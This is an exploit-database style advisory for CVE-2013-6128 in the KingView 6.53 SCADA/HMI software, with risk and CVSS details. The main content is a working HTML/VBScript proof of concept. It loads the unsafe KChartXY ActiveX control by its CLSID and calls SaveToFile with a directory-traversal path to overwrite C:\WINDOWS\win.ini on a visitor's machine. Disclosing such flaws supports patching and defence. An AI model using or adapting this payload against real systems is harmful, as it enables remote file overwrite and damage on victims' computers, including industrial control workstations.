KingView 6.53 ActiveX Control (KChartXY) Remote File Creation

2013-09-05 / 2013-10-27
Credit: Blake
Risk: High
Local: No
Remote: Yes
CVE: CVE-2013-6128
CWE: CWE-264


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

<!-- KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite Vendor: http://www.wellintech.com Version: KingView 6.53 Tested on: Windows XP SP3 / IE Download: http://www.wellintech.com/documents/KingView6.53_EN.zip Author: Blake CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC ProgId: KCHARTXYLib.KChartXY Path: C:\Program Files\KingView\KChartXY.ocx MemberName: SaveToFile Safe for scripting: False Safe for init: False Kill Bit: False IObject safety not implemented Description: Proof of concept overwrites the win.ini file --> <html> <object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object> <script language='vbscript'> arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini" target.SaveToFile arg1 </script>

References:

http://www.wellintech.com/documents/KingView6.53_EN.zip


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